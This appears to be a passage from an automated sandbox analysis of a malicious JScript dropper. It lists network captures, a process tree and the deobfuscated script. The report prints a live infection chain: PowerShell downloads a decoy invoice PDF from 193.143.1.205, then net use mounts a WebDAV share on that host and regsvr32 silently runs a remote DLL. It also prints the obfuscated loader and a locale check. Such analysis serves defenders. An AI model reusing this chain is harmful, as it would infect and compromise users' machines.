Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:33.294791937 CET	1.1.1.1	192.168.2.6	0x4584	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	3796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:34:54.034141064 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:34:54.810988903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:34:54.811007977 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:34:54.811031103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 01:34:54.811042070 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 01:34:54.811065912 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:34:54.811122894 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:34:54.811135054 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:34:54.811227083 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 01:34:54.811239004 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 01:34:54.811259031 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 01:34:54.816035032 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	3524	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:34:56.537471056 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:34:57.330113888 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js"
Imagebase:	0x7ff75ba20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Imagebase:	0x7ff6e7e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:34:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:34:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e7e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:34:55
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff655020000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:34:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:34:56
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:34:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,8371664929823362149,8041014121270518738,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mosabom() {	mosabom() ➔ undefined
1	pgblo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mdrpoh = this[crdck + ktjtjuq + yeezvcqdv + jramjh + eltascwrb + aiqrrvv + lybikfs + ycfxtvepy] ( this[cqabdb + szzinaj + tphleb + yeezvcqdv + fefnrq + crdck + ycfxtvepy][niujxwamj + yeezvcqdv + eltascwrb + ktjtjuq + ycfxtvepy + eltascwrb + nuwwaoq + envwtsb + xfpryqs + eltascwrb + tphleb + ycfxtvepy] ( cqabdb + szzinaj + tphleb + yeezvcqdv + fefnrq + crdck + ycfxtvepy + tsupyo + szzinaj + cbbajrft + eltascwrb + nsfsghuyx + nsfsghuyx ) [bqlsmk + eltascwrb + lnvvbv + bqlsmk + eltascwrb + ktjtjuq + mdwxhovu] ( yqndbfna + ybyptu + onhfxvy + wfwlhcrl + vinmdpqve + niujxwamj + adhmrp + bqlsmk + bqlsmk + onhfxvy + ltsnxnqcl + phtiusn + vinmdpqve + adhmrp + szzinaj + onhfxvy + bqlsmk + wglnxrgcu + niujxwamj + gevqmhqd + lybikfs + ycfxtvepy + yeezvcqdv + gevqmhqd + nsfsghuyx + ldqwnrkb + epenq + ktjtjuq + lybikfs + eltascwrb + nsfsghuyx + wglnxrgcu + aiqrrvv + lybikfs + ycfxtvepy + eltascwrb + yeezvcqdv + lybikfs + ktjtjuq + ycfxtvepy + fefnrq + gevqmhqd + lybikfs + ktjtjuq + nsfsghuyx + wglnxrgcu + eudile + gevqmhqd + tphleb + ktjtjuq + nsfsghuyx + eltascwrb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nhhsuez = 0 ; nhhsuez < pgblo[nsfsghuyx + eltascwrb + lybikfs + lnvvbv + ycfxtvepy + cbbajrft] ; ++ nhhsuez )
4	{
5	if ( mdrpoh == pgblo[nhhsuez] )
6	{
7	mdrpoh = true;
8	break ;
9	}
10	}
11	if ( mdrpoh !== true )
12	this[cqabdb + szzinaj + tphleb + yeezvcqdv + fefnrq + crdck + ycfxtvepy][dphebjw + vlmvk + fefnrq + ycfxtvepy] ( );
13	this[cqabdb + szzinaj + tphleb + yeezvcqdv + fefnrq + crdck + ycfxtvepy][niujxwamj + yeezvcqdv + eltascwrb + ktjtjuq + ycfxtvepy + eltascwrb + nuwwaoq + envwtsb + xfpryqs + eltascwrb + tphleb + ycfxtvepy] ( cqabdb + szzinaj + tphleb + yeezvcqdv + fefnrq + crdck + ycfxtvepy + tsupyo + szzinaj + cbbajrft + eltascwrb + nsfsghuyx + nsfsghuyx ) [yeezvcqdv + vlmvk + lybikfs] ( tphleb + uchndcsl + mdwxhovu + ldqwnrkb + jhnrnw + tphleb + ldqwnrkb + crdck + gevqmhqd + wvmgg + eltascwrb + yeezvcqdv + jramjh + cbbajrft + eltascwrb + nsfsghuyx + nsfsghuyx + tsupyo + eltascwrb + hhebn + eltascwrb + ldqwnrkb + ljxngvxz + niujxwamj + gevqmhqd + uchndcsl + uchndcsl + ktjtjuq + lybikfs + mdwxhovu + ldqwnrkb + pwvzkc + aiqrrvv + lybikfs + uqghapr + gevqmhqd + emxad + eltascwrb + ljxngvxz + cqabdb + eltascwrb + envwtsb + bqlsmk + eltascwrb + ajxpmq + vlmvk + eltascwrb + jramjh + ycfxtvepy + ldqwnrkb + ljxngvxz + nuwwaoq + vlmvk + ycfxtvepy + ayuwb + fefnrq + nsfsghuyx + eltascwrb + ldqwnrkb + elmxgarn + ycfxtvepy + eltascwrb + uchndcsl + crdck + elmxgarn + wglnxrgcu + fefnrq + lybikfs + uqghapr + gevqmhqd + fefnrq + tphleb + eltascwrb + tsupyo + crdck + mdwxhovu + ugxuxccx + ldqwnrkb + cbbajrft + ycfxtvepy + ycfxtvepy + crdck + jcrybqb + jhnrnw + jhnrnw + oxrqavb + wnnnnmdz + pkubjlqfl + tsupyo + oxrqavb + umbpyoo + pkubjlqfl + tsupyo + oxrqavb + tsupyo + lqspa + rnszkaca + jftqpy + jhnrnw + fefnrq + lybikfs + uqghapr + gevqmhqd + fefnrq + tphleb + eltascwrb + tsupyo + crdck + cbbajrft + crdck + pwvzkc + dxaspkzg + dxaspkzg + jramjh + ycfxtvepy + ktjtjuq + yeezvcqdv + ycfxtvepy + ldqwnrkb + elmxgarn + ycfxtvepy + eltascwrb + uchndcsl + crdck + elmxgarn + wglnxrgcu + fefnrq + lybikfs + uqghapr + gevqmhqd + fefnrq + tphleb + eltascwrb + tsupyo + crdck + mdwxhovu + ugxuxccx + dxaspkzg + dxaspkzg + tphleb + uchndcsl + mdwxhovu + ldqwnrkb + jhnrnw + tphleb + ldqwnrkb + lybikfs + eltascwrb + ycfxtvepy + ldqwnrkb + vlmvk + jramjh + eltascwrb + ldqwnrkb + wglnxrgcu + wglnxrgcu + oxrqavb + wnnnnmdz + pkubjlqfl + tsupyo + oxrqavb + umbpyoo + pkubjlqfl + tsupyo + oxrqavb + tsupyo + lqspa + rnszkaca + jftqpy + busyhwrbd + mozcmo + mozcmo + mozcmo + mozcmo + wglnxrgcu + mdwxhovu + ktjtjuq + uqghapr + wvmgg + wvmgg + wvmgg + yeezvcqdv + gevqmhqd + gevqmhqd + ycfxtvepy + wglnxrgcu + dxaspkzg + dxaspkzg + tphleb + uchndcsl + mdwxhovu + ldqwnrkb + jhnrnw + tphleb + ldqwnrkb + yeezvcqdv + eltascwrb + lnvvbv + jramjh + uqghapr + yeezvcqdv + pkubjlqfl + lqspa + ldqwnrkb + jhnrnw + jramjh + ldqwnrkb + wglnxrgcu + wglnxrgcu + oxrqavb + wnnnnmdz + pkubjlqfl + tsupyo + oxrqavb + umbpyoo + pkubjlqfl + tsupyo + oxrqavb + tsupyo + lqspa + rnszkaca + jftqpy + busyhwrbd + mozcmo + mozcmo + mozcmo + mozcmo + wglnxrgcu + mdwxhovu + ktjtjuq + uqghapr + wvmgg + wvmgg + wvmgg + yeezvcqdv + gevqmhqd + gevqmhqd + ycfxtvepy + wglnxrgcu + lqspa + umbpyoo + oxrqavb + lqspa + mozcmo + umbpyoo + wnnnnmdz + mozcmo + faoeypuun + wnnnnmdz + umbpyoo + lqspa + wnnnnmdz + tsupyo + mdwxhovu + nsfsghuyx + nsfsghuyx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll",0,false) ➔ 0
14	}
15	wfwlhcrl = "m";
16	wfwlhcrl = "n";
17	wfwlhcrl = "a";
18	wfwlhcrl = "Z";
19	wfwlhcrl = "S";
20	wfwlhcrl = "a";
21	wfwlhcrl = "N";
22	wfwlhcrl = "g";
23	wfwlhcrl = "Z";
24	wfwlhcrl = "g";
25	wfwlhcrl = "o";
26	wfwlhcrl = "u";
27	wfwlhcrl = "f";
28	wfwlhcrl = "n";
29	wfwlhcrl = "S";
30	wfwlhcrl = "q";
31	wfwlhcrl = "N";
32	wfwlhcrl = "c";
33	wfwlhcrl = "l";
34	wfwlhcrl = "I";
35	wfwlhcrl = "g";
36	wfwlhcrl = "t";
37	wfwlhcrl = "l";
38	wfwlhcrl = "D";
39	wfwlhcrl = "c";
40	wfwlhcrl = "f";
41	wfwlhcrl = "O";
42	wfwlhcrl = "k";
43	wfwlhcrl = "f";
44	wfwlhcrl = "n";
45	wfwlhcrl = "n";
46	wfwlhcrl = "W";
47	wfwlhcrl = "Y";
48	lqspa = "w";
49	lqspa = "W";
50	lqspa = "l";
51	lqspa = "b";
52	lqspa = "d";
53	lqspa = "T";
54	lqspa = "L";
55	lqspa = "R";
56	lqspa = "z";
57	lqspa = "V";
58	lqspa = "Q";
59	lqspa = "a";
60	lqspa = "o";
61	lqspa = "p";
62	lqspa = "X";
63	lqspa = "F";
64	lqspa = "p";
65	lqspa = "b";
66	lqspa = "s";
67	lqspa = "f";
68	lqspa = "s";
69	lqspa = "H";
70	lqspa = "n";
71	lqspa = "c";
72	lqspa = "o";
73	lqspa = "K";
74	lqspa = "U";
75	lqspa = "E";
76	lqspa = "C";
77	lqspa = "E";
78	lqspa = "X";
79	lqspa = "p";
80	lqspa = "N";
81	lqspa = "A";
82	lqspa = "N";
83	lqspa = "k";
84	lqspa = "s";
85	lqspa = "r";
86	lqspa = "C";
87	lqspa = "x";
88	lqspa = "c";
89	lqspa = "H";
90	lqspa = "2";
91	gevqmhqd = "c";
92	gevqmhqd = "b";
93	gevqmhqd = "g";
94	gevqmhqd = "x";
95	gevqmhqd = "l";
96	gevqmhqd = "W";
97	gevqmhqd = "O";
98	gevqmhqd = "k";
99	gevqmhqd = "p";
100	gevqmhqd = "Y";
101	gevqmhqd = "w";
102	gevqmhqd = "k";
103	gevqmhqd = "O";
104	gevqmhqd = "f";
105	gevqmhqd = "h";
106	gevqmhqd = "v";
107	gevqmhqd = "q";
108	gevqmhqd = "n";
109	gevqmhqd = "Z";
110	gevqmhqd = "D";
111	gevqmhqd = "c";
112	gevqmhqd = "I";
113	gevqmhqd = "E";
114	gevqmhqd = "X";
115	gevqmhqd = "U";
116	gevqmhqd = "B";
117	gevqmhqd = "C";
118	gevqmhqd = "l";
119	gevqmhqd = "c";
120	gevqmhqd = "o";
121	rnszkaca = "x";
122	rnszkaca = "U";
123	rnszkaca = "S";
124	rnszkaca = "K";
125	rnszkaca = "C";
126	rnszkaca = "t";
127	rnszkaca = "X";
128	rnszkaca = "W";
129	rnszkaca = "r";
130	rnszkaca = "Z";
131	rnszkaca = "s";
132	rnszkaca = "K";
133	rnszkaca = "E";
134	rnszkaca = "F";
135	rnszkaca = "e";
136	rnszkaca = "f";
137	rnszkaca = "M";
138	rnszkaca = "F";
139	rnszkaca = "p";
140	rnszkaca = "A";
141	rnszkaca = "0";
142	busyhwrbd = "z";
143	busyhwrbd = "r";
144	busyhwrbd = "W";
145	busyhwrbd = "d";
146	busyhwrbd = "V";
147	busyhwrbd = "F";
148	busyhwrbd = "o";
149	busyhwrbd = "s";
150	busyhwrbd = "D";
151	busyhwrbd = "A";
152	busyhwrbd = "s";
153	busyhwrbd = "h";
154	busyhwrbd = "n";
155	busyhwrbd = "t";
156	busyhwrbd = "e";
157	busyhwrbd = "w";
158	busyhwrbd = "W";
159	busyhwrbd = "s";
160	busyhwrbd = "f";
161	busyhwrbd = "E";
162	busyhwrbd = "O";
163	busyhwrbd = "n";
164	busyhwrbd = "M";
165	busyhwrbd = "l";
166	busyhwrbd = "w";
167	busyhwrbd = "s";
168	busyhwrbd = "n";
169	busyhwrbd = "l";
170	busyhwrbd = "@";
171	umbpyoo = "a";
172	umbpyoo = "O";
173	umbpyoo = "w";
174	umbpyoo = "W";
175	umbpyoo = "a";
176	umbpyoo = "e";
177	umbpyoo = "b";
178	umbpyoo = "T";
179	umbpyoo = "E";
180	umbpyoo = "L";
181	umbpyoo = "o";
182	umbpyoo = "x";
183	umbpyoo = "b";
184	umbpyoo = "K";
185	umbpyoo = "l";
186	umbpyoo = "g";
187	umbpyoo = "s";
188	umbpyoo = "i";
189	umbpyoo = "A";
190	umbpyoo = "C";
191	umbpyoo = "G";
192	umbpyoo = "m";
193	umbpyoo = "H";
194	umbpyoo = "N";
195	umbpyoo = "d";
196	umbpyoo = "F";
197	umbpyoo = "p";
198	umbpyoo = "X";
199	umbpyoo = "H";
200	umbpyoo = "W";
201	umbpyoo = "H";
202	umbpyoo = "W";
203	umbpyoo = "H";
204	umbpyoo = "Z";
205	umbpyoo = "G";
206	umbpyoo = "C";
207	umbpyoo = "D";
208	umbpyoo = "T";
209	umbpyoo = "a";
210	umbpyoo = "x";
211	umbpyoo = "e";
